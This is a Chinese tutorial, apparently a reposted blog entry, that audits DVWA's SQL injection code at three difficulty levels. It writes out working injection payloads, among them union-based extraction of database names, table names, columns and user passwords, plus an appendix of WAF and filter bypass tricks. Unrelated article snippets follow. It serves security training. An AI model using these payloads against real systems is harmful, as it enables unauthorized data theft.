DVWA代码审计--SQL注入

news/2024/9/20 7:36:18/ 标签: sql, adb, android

NO.1 Low

首先来看下代码


<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); // Get results $num = mysql_num_rows( $result ); $i   = 0; while( $i < $num ) { // Get values $first = mysql_result( $result, $i, "first_name" ); $last  = mysql_result( $result, $i, "last_name" ); // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; // Increase loop count $i++; } mysql_close(); 
} ?> 

先学习学习函数!!!


mysql_query() 函数执行一条 MySQL 查询。

语法:mysql_query(query,connection)

参数:

  1. query   必需。规定要发送的 SQL 查询。注释:查询字符串不应以分号结束。
  2. connection   可选。规定 SQL 连接标识符。如果未规定,则使用上一个打开的连接。

mysql_num_rows() 函数返回结果集中行的数目。

语法: mysql_num_rows(data)

参数:

  1. data    必需。结果集。该结果集从 mysql_query() 的调用中得到。

mysql_result() 函数返回结果集中一个字段的值。

语法: mysql_result(data,row,field)

参数:

  1. data    必需。规定要使用的结果标识符。该标识符是 mysql_query() 函数返回的。
  2. row   必需。规定行号。行号从 0 开始。
  3. field    可选。规定获取哪个字段。可以是字段偏移值,字段名或 table.fieldname。如果该参数未规定,则该函数从指定的行获取第一个字段。

mysql_error() 函数返回上一个 MySQL 操作产生的文本错误信息。

语法: mysql_error(connection)


mysql_close() 函数关闭非持久的 MySQL 连接。

语法: mysql_close(link_identifier)


想要找漏洞,还得先知道代码什么意思,

首先if判断有没有用户有没有提交值过来,

然后$query准备一条sql语句,根据用户输入的id去进行查找,

这条sql语句的意思是在users表中根据$id的值去查找first_namelast_name

$result为发送sql语句,如果失败将会报错,

$num 意思是有没有找到数据

while 循环将打印出这些数据,

最后关闭数据库。


构造payload

这段代码没有对用户输入的值做任何的判断直接进入数据库进行查询,

但是对于新手来说依旧很难构造出注入payload,

看到orselectunion等语法直接蒙圈,

这里本渣渣也对这些东西很懵逼,

这里就简单总结一下,也方便自己以后学习。


这里先说一下最常见,也是最常用的方法,那就是and 1=1 ,

相信很多人都见过,但是对于新手来说,只知道用,但是不知道原理,

sql语句中,and 为逻辑运算符的意思,

跟他常见的是or ,意思是或者 ,

拿这条sql语句来举例的话:

如果输入1

SELECT first_name, last_name FROM users WHERE user_id = 1;

如果输入1 and 1=1

SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=1;

变换一下,更为直观一点,

SELECT first_name, last_name FROM users WHERE (user_id = 1) and (1=1);

前半句 user_id = 1 的时候,确实存在,后半句 1=1 也为真,

所以整条语句查询结果为真,返回正常。

但是如果提交and 1=2 前半句返回真,后半句为假,

and逻辑与运算符 只有两边都为真才返回真,所以整条语句返回值为假。


or 语句

我们经常会看到这样的语句 or 1=1 ,

在注入中,通常用来遍历数据,

sql语句中,or 是或者的意思,

来简单测试一下,输入 1 'or' 1 '=' 1 ,

这里两个引号其实是用来包裹符号的,


我们可以看到这里全部数据都遍历出来了,

打印出来的语句为:

SELECT first_name, last_name FROM users WHERE user_id = '1 'or' 1 '=' 1'

解释:user_id = 1 或者 1=1 ,1=1 永远为真,所有就验证通过了,

但是输入 1 or 1=1 却不能遍历数据,这是为什么呢??

首先来对比一下两条语句:

第一条为:

SELECT first_name, last_name FROM users WHERE user_id = '1 'or' 1 '=' 1'

第二条为:

SELECT first_name, last_name FROM users WHERE user_id = '1 or 1=1'

我们可以看到两条语句后面颜色都不一样,

images


第一条语句为判断语句,相当于: (1) or (1=1)

第二条语句则为一个字符串,users表中没有id为 1 or 1=1 的字符串,所以遍历不出来。


order by 语句

简单说下 order by 语句,在注入中也很常见

官方的定义:ORDER BY 语句用于根据指定的列对结果集进行排序,语句默认按照升序对记录进行排序。

order by在注入中一般用来爆列数,也就是字段

images


这里我们可以先来简单的测试一下看看

测试payload:1' order by 2# ,正常

images


这里估计新手都看不懂,' 这个单引号是什么作用,# 井号又是什么作用??

这里我们不妨直接打印这条语句看看,因为是本地的环境,那还不容易吗


我们可以看到,' 单引号闭合了前面的语句,# 井号则是注释了后面多余的符号

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2#';"

这里有个小问题,就是为什么要注释掉分号,sql语句不是要分号结束吗??

这里有个问答或许能帮助到你

https://segmentfault.com/q/1010000011382305?tdsourcetag=s_pcqq_aiomsg

这里可能又要啰嗦一下sql中的注释符

当然不只是# 号可以注释

MySQL注释符有三种:

  1. # 井号
  2. -- (注意:–后面有一个空格)
  3. /*...*/

啰啰嗦嗦一堆之后再回到刚才 1' order by 2# 正常,

然后再测试 1' order by 3# 报错,

说明只有两个字段 ,

images


这里又有个小问题,我数据库中明明有8个字段,为啥只爆出两个??

那是因为这条sql语句只查找 first_name 和 last_name 这两个字段的值 ,

如果换成 SELECT * FROM users 那就可以爆出8个字段 ,

images


还有一种比较常见的查询,

通常我们看到的是这样的查询语句 1' order by 1,2,3,4,5,6 ,

这种写法其实是跟上面是一样的,只不过换成了数列的方式,

意思是查询6个字段。


union select 语句

说完了order by 语句,接下来我们来讲讲 union select 语句,

注入中也是经常出现的东西。


拆分一下,先讲 union 操作符 ,

定义:UNION 操作符用于合并两个或多个 SELECT 语句的结果集,不包括重复行

还有一个 union all 操作符

定义: union all 操作符用于合并两个或多个 SELECT 语句的结果集,包括重复行

union 命令和 union all 命令几乎一样的,不过 UNION ALL 命令会列出所有的值。


select 大家都很熟悉了,

定义:SELECT 语句用于从表中选取数据,结果被存储在一个结果表中(称为结果集)。

语法:SELECT 列名称 FROM 表名称


这个有个问题,为什么要用union select 而不是 select ??

这个问题回归到那条sql语句中,

当用户输入1的时候,select 已经执行了查询操作,

SELECT first_name, last_name FROM users WHERE user_id = '1'

select 语句只能查询一次,不能多次查询,

union 是联合查询的一个关键字,可以合并多个 select 语句,

这就是为什么要用union select 而不是 select 的原因。


几种常用的注入方法

1. 确认表是否存在

Payload : 1' union all select 1,2 from 表名

admin 不存在

images


users 存在

images


2. 查看当前用户

Payload : 1' union select user(),2 #

注意:user() 函数得放到显位(回显位置)上 ,

这里可能又要科普什么是显位了

可以先看下这篇文章

https://blog.csdn.net/weixin_43379478/article/details/84943001

像这种,就是显位

images

在这DVWA中,1和2都是显位

images


然后也直接爆出当前数据库用户名

images


这个显位的位置放在那里都行,如果把user() 放在第二位的话,那么用户名就在第二位上显示出来,

Payload : 1' union select 1,user() #

images


3. 查看当前数据库名

Payload : 1' union select database(),2 #

images


当然也可以同时显示当前用户,

Payload : 1' union select user(),database() #

images


4. 查看当前操作系统版本

Payload :

1' union select @@version_compile_os,2 #

version() 获取当前数据库版本.

@@version_compile_os 获取当前操作系统。

@ 表示局部变量

@@ 表示全局变量

images


5. 查看当前数据库版本

Payload : 1' union select version(),2 #

images


6. 查看当前数据库所有表

知道数据库就可以查表了,

Payload :

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761 #

这里又要科普一下函数了,,

concat() 函数

功能:将多个字符串连接成一个字符串。


group_concat() 函数

功能:函数返回一个字符串结果,该结果由分组中的值连接组合而成。

具体可以看看下面这篇文章,

https://baijiahao.baidu.com/s?id=1595349117525189591&wfr=spider&for=pc


table_name 就是数据表的名字, group_concat(table_name) 来连接这些表,就是这个样子

images


information_schema.tables 就是这个information_schema数据库中的table表,

Mysql数据库(Mysql 5之后)中有一个information_schema数据库,里面存放了mysql下所有数据库中的列名和表名信息。

这个表tables 是information_schema数据库中存放所有表名信息的一个表。


table_schema 是数据库的名称


结合起来的意思就是:在(where) xx数据库中 查找(from) 表的名字,并将他们串联起来一起输出


注意: 这里数据库名(dvwa)必须是16进制

关于为啥要16进制看这

images


关于为啥要16进制看这

images


7. 查看当前表中的所有字段

知道表名后就可以查表中的所有字段了,

Payload:

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users') #

images


8. 查看当前表中的所有数据

知道字段就可以指定字段查数据了,

可以使用group_concat函数的语句,进行查询id,name和password

1' union select 1,(select group_concat(user_id,first_name,password) from users) #

这里可能很多新手看着有点蒙圈,其实就是两个select语句嵌套,

images


这里查询出来有点乱,我们可以16进制编码的字符进行分割,看下一条语句

images


接下来我们使用16进制编码的 -- 进行分割,其他字符也行,但是一定要进行16进制编码,

1' union select 1,(select group_concat(user_id,0x2D2D,first_name,0x2D2D,password) from users) #

这样就比较好看了,

images


当然查询方法是多种多样的,

下面使用concat函数的语句进行查询 ,同样使用16进制编码的 -- 进行分割

1' union select 1,(select concat(user_id,0x2D2D,first_name,0x2D2D,password) from users limit 1) #

group_concat不同的是,concat 一次只能查询一条,需要使用limit 函数进行分页

limit 用法具体看这 –> https://blog.csdn.net/yihanzhi/article/details/82784770

如果不加 limit 会报 Subquery returns more than 1 row 错误,

原因是 主查询的一条记录对应子查询多条记录产生错误

images


接下来再用一个concat_ws 函数进行查询

功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符~(concat_ws就是concat with separator)

语法:concat_ws(separator, str1, str2, …)

说明:第一个参数指定分隔符。需要注意的是分隔符不能为null,如果为null,则返回结果为null。

注:concat_ws 一次也只能查询一条,需要使用 limit

这里使用 , 号进行分割,

1' union select 1,(select concat_ws(',',user_id,first_name,password) from users limit 1) #

images


当然也可以使用 where 指定字段进行查询,如果对应的值只有一条数据,那么可以不用 limit

1' union select 1,(select concat_ws(',',user_id,first_name,password) from users where user_id='2') #

images


9. 逐字猜解法猜表名

适用于order by 不能用的地方,

语法: and exists(select * from 表名)

来实战测试一下,

输入 1' and exists(select * from users) #

images

说明表是存在的,如果不存在将会报错。


10. 逐字猜解法猜列名

知道表名后,就可以猜字段了,也就是列名,

语法: and exists(select 列名 from 表名)

实战测试,

输入 1' and exists(select user_id from users) #

images

说明user_id是存在的,如果不存在将会报 Unknown column 'id' in 'field list' 错误。


好了,就说这么多了,更多方法还是需要自己去研究 (逃。。


NO.2 Medium

代码,


<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysql_real_escape_string( $id ); // Check database $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); // Get results $num = mysql_num_rows( $result ); $i   = 0; while( $i < $num ) { // Display values $first = mysql_result( $result, $i, "first_name" ); $last  = mysql_result( $result, $i, "last_name" ); // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; // Increase loop count $i++; } //mysql_close(); 
} ?> 

mysql_real_escape_string() 数转义 SQL 语句中使用的字符串中的特殊字符。

受影响的字符:


\x00
\n
\r
\
'
"
\x1a

语法:mysql_real_escape_string(string,connection)

参数:

  1. string    必需。规定要转义的字符串。
  2. connection    可选。规定 MySQL 连接。如果未规定,则使用上一个连接。

这个代码跟第一个并没有太大的变化,需要POST传参,还有多了个 mysql_real_escape_string() 函数,

但是这个函数对sql语句进行了处理,过滤了单引号,双引号等等。

这里我们可以打印一下这条sql语句,看看是如何进行查找的,

可以看到这个id为int类型,很有可能是数字型注入,在这段sql语句中不需要用引号什么来闭合了。

images


然后这里没有输入框,只有一个下拉菜单,所以我们用burp来抓包,

简单输入一个单引号 ' 测试,发现转义了,

images


输入 union select 1,2 没有转义,没有触发过滤规则,

images


输入 union select user(),database() 可以爆出数据库名和当前数据库用户名,

images


只要不使用 ' 单引号就ok了,

在上面语句中选用没有单引号的直接一把梭就ok了。。


NO.3 High


<?php if( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; // Check database $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results $num = mysql_num_rows( $result ); $i   = 0; while( $i < $num ) { // Get values $first = mysql_result( $result, $i, "first_name" ); $last  = mysql_result( $result, $i, "last_name" ); // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; // Increase loop count $i++; } mysql_close(); 
} ?> 

判断session传值,

sql语句每次限制显示一条 ,

跟low级别的一样,id类型为字符串,可以使用单引号闭合,

另外,好像没什么过滤啊。


老方法,使用 ' 单引号闭合标签,然后使用 # 号注释掉后面的 LIMIT 函数 ,

跟low级别的一样,直接用上面语句一把梭就ok了。。


附1:关于information_schema数据库

MySQL版本大于5.0时,才有数据库information_schema

https://blog.csdn.net/qq_36423110/article/details/78363946


附2:简单绕过

1. 使用注释符 来替换空格 (注释符/* */%a0


**2. 使用括号绕过空格 **

   如果空格被过滤,括号没有被过滤,可以用括号绕过 例:

select(user())from users where(1=1)and(2=2)

**3. 引号绕过(使用十六进制编码): **

像上面说的使用十六进制编码的数据库名,其实就为了绕过引号


4. 逗号绕过(使用from或者offset):

通常含有这些函数substr(),mid(),limit(),的这些子句方法都需要使用到逗号,

对于substr()和mid()这两个方法可以使用from to的方式来解决:

比如:


SELECT MID(name,1,2) FROM users # 替换成
SELECT MID(name from 1 for 1) FROM users

使用join:


union select 1,2     
# 等价于下面这条语句
union select * from (select 1)a join (select 2)b    
# 也可以写成下面这条语句
union select * from (select 1) a join (select 2) b  # 加个空格

其中 a 和 b 是别名的意思,
()a 相当于 () as a


使用like:


select ascii(mid(user(),1,1))=97     
# 等价于下面这条语句
select user() like 'a%'   

ASCII 97 对应的是小写字母a

a% 意思是匹配以a开头的所有东西


对于limit可以使用offset来绕过:


select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0  

5. 比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,可以使用between的脚本):

使用greatest()、least():(前者返回最大值,后者返回最小值)

同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找,

如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。

最常见的一个盲注的sql语句:

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了,

greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。

那么上面的这条sql语句可以使用greatest变为如下的子句:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

也可以使用between and:

between a and b:返回a,b之间的数据,不包含b。


6. or and xor not绕过:


and = &&  
or = ||   
xor = |   
not = !

7. 绕过注释符号(#,– )过滤:

例:

id=1' union select 1,2,3||'1

最后的 or ‘1 闭合查询语句的最后的单引号,或者:

id=1' union select 1,2,'3

8. = 号绕过:

使用like 、rlike 、regexp 或者 使用< 或者 >


9. 绕过union,select,where等:

(1)使用注释符绕过:

常用注释符:


//
-- (--空格)
/**/
#
--+
-- - (杠杠空格杠)
; (分号)
%00
--a

用法:

U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user

(2)使用大小写绕过:

id=-1'UnIoN/**/SeLeCT

(3)内联注释绕过:

id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过):

id=-1'UNIunionONSeLselectECT1,2,3–-

10. 通用绕过(编码):

如URLEncode编码,ASCII,HEX,unicode编码绕过:

or 1=1 即 %6f%72%20%31%3d%31 ,

而Test也可以为 CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116) 。


附3:一点点小结

如果数据库使用GBK编码,那么可能存在宽字节注入


http://www.ppmy.cn/news/1462490.html

相关文章

WPF中DataGrid实现多选框功能

1. 效果图 2. Model建立 public class RstModelCheck : ObservableObject {//为了显示Head1和Head2.而且View中绑定属性而非字段&#xff0c;否则不能显示。public string? Name { get; set; } public bool PlatenAll {get > _platenAll;set{SetProperty(ref _platenAl…

网页抓取之requests库的使用

Python网络数据采集利器 - Requests库的使用指南 简介 在Python网络爬虫领域,优秀的第三方库Requests可谓是必学的重要工具。它提供了相当人性化的API,让我们能够用极其简洁的代码发送HTTP/HTTPS请求,并且自动处理cookies、headers、编码等诸多繁琐细节,大大减轻了网页抓取的…

前端面试题日常练-day20 【面试题】

题目 希望这些选择题能够帮助您进行前端面试的准备&#xff0c;答案在文末。 1. AJAX中的同源策略是什么&#xff1f; A. 一种限制AJAX请求只能从同一域名下发起的安全机制 B. 一种限制AJAX请求只能使用GET方法的规定 C. 一种限制AJAX请求只能发送XML格式的数据的规则 D. 一…

VUE3-form表单保存附件与基本信息

element-ui代码 <el-dialog :title"上传附件" v-model"dialogAdds.visible" width"500px" append-to-body> <el-form-item label"唯一标识"> <dict-tag v-if"form.groupId" :options"unique_identifica…

java项目之图书管理系统源码(springboot+vue+mysql)

风定落花生&#xff0c;歌声逐流水&#xff0c;大家好我是风歌&#xff0c;混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的图书管理系统。项目源码以及部署相关请联系风歌&#xff0c;文末附上联系信息 。 项目简介&#xff1a; 系统主要分为管理员角色和用…

Git远程控制

文章目录 1. 创建仓库1.1 Readme1.2 Issue1.3 Pull request 2. 远程仓库克隆3. 推送远程仓库4. 拉取远程仓库5. 配置Git.gitignore配置别名 使用GitHub可以&#xff0c;采用Gitee也行 1. 创建仓库 1.1 Readme Readme文件相当于这个仓库的说明书&#xff0c;gitee会初始化2两份…

构建sqli-labs学习环境与掌握SQL注入技术教程

根据提供的文档内容&#xff0c;以下是关于安装sqli-labs学习环境和SQLI-LABS教学的详细步骤和知识点&#xff1a; 安装sqli-labs学习环境 环境准备 操作系统&#xff1a;CentOS 7.6主机名&#xff1a;xuegod63IP地址&#xff1a;192.168.1.63 关闭防火墙和SELinux 禁用并…

为什么我的xcode按下enter回车不会自动补全,需要按下tab键才可以

为什么我的xcode按下回车不会自动补全,需要按下tab键才可以&#xff1f;而且我看视频有的up主也可以实现按下enter键实现自动补全的啊&#xff0c;就像使用vscode或者pycharm或者idea那样有提示了直接按下enter回车键就可以了&#xff0c;其实导致这个问题主要原因还是快捷键设…

Spring Boot 实现 RabbitMQ 监听消息的几种方式

Spring Boot 实现 RabbitMQ 监听消息的几种方式 1. RabbitListener 注解方式2. MessageListener 接口方式3. MessageListenerAdapter 适配器方式4. RabbitHandler 注解方式 Spring Boot 实现 RabbitMQ 监听消息的方式有以下几种&#xff1a; RabbitListener 注解方式&#xff1…

HTML 常用空元素标签

空元素标签&#xff0c;也称为自闭合标签&#xff0c;在 HTML 中没有内容&#xff0c;它们通常用于表示一些简单的结构或功能。 以下是 HTML 中常用的空元素标签&#xff1a; 1. <br>&#xff1a;换行符 作用&#xff1a; 在文本中插入一个换行符&#xff0c;强制文本…

css绘制下雨的云朵

效果&#xff1a; 具体实现&#xff1a; html <div class"wuyun"><div class"yun"><div class" yu yu1"></div><div class" yu yu2"></div><div class" yu yu3"></div>&…

02-结构型设计模式(共7种)

上一篇&#xff1a;01-创建型设计模式(共6种) 1. Adapter(适配器模式) 适配器模式是一种结构型设计模式&#xff0c;它允许将一个类的接口转换成客户端所期望的另一个接口。这种模式通常用于解决接口不兼容的情况&#xff0c;使得原本由于接口不匹配而无法工作的类可以一起工作…

最大负载1kg!高度模块化设计!大象机器人智能遥控操作机械臂组合myArm MC

引入 近年来&#xff0c;市面上涌现了许多类似于斯坦福大学的 Alopha 机器人项目&#xff0c;这些项目主要通过模仿人类的运动轨迹来进行学习&#xff0c;实现了仿人类的人工智能。Alopha 机器人通过先进的算法和传感技术&#xff0c;能够精确复制人类的动作&#xff0c;并从中…

PDF Candy Desktop v2.89软件安装教程(附软件下载地址)

软件简介&#xff1a; 软件【下载地址】获取方式见文末。注&#xff1a;推荐使用&#xff0c;更贴合此安装方法&#xff01; PDF Candy Desktop v2.89是一款多功能且操作简便的PDF转换工具。该软件不仅功能强大&#xff0c;还能帮助用户将PDF文件转换为多种格式的文档&#x…

共享IP和独享IP之间的区别了解一下

在网络环境中&#xff0c;代理服务器作为一种常见的工具&#xff0c;用于保护用户隐私和拓宽网络访问范围。在选择代理服务器时&#xff0c;用户经常会遇到共享IP和独享IP两种选择。那么&#xff0c;这两种代理方式有何区别呢&#xff1f;今天就为大家详细解读这个问题。 两者…

Java | Leetcode Java题解之第108题将有序数组转换为二叉搜索树

题目&#xff1a; 题解&#xff1a; class Solution {Random rand new Random();public TreeNode sortedArrayToBST(int[] nums) {return helper(nums, 0, nums.length - 1);}public TreeNode helper(int[] nums, int left, int right) {if (left > right) {return null;}…

Python知识点复习

文章目录 Input & OutputVariables & Data typesPython字符串重复&#xff08;字符串乘法&#xff09;字符串和数字连接在一起print时&#xff0c;要强制类型转换int为str用input()得到的用户输入&#xff0c;是str类型&#xff0c;如果要以int形式计算的话&#xff0c…

【前端面经】BFC

BFC BFC什么是 BFC&#xff1f;元素开启 BDC 后的特殊布局效果元素开启 BFC 的方式 BFC 什么是 BFC&#xff1f; 官方解释&#xff1a;A block formatting context (BFC) is a part of a visual CSS rendering of a web page. It’s the region in which the layout of block…

移动端/PC端布局-flex布局

一:flex布局概述 作用 更加灵活、精确的布局块级盒子,避免了浮动布局中脱离标准流的现象;构成 只要启动了弹性布局:父元素变为:弹性容器、子元素为:弹性盒子、x轴水平方向为:主轴、y轴垂直方向为:侧轴(默认)二:如何使用flex布局 如何启动flex布局 给父级盒子(弹性…

网络的基础理解

文章目录 网络的基础认识 网络协议协议分层OSI七层模型TCP/IP 五层/四层 模型 网络的基础认识 先来看下面几个问题 什么是网络&#xff1f; 网络就是有许多台设备包括计算机单不仅限于计算机&#xff0c;这些设备通过相互通信所组成起来系统&#xff0c;我们称之为网络所以如…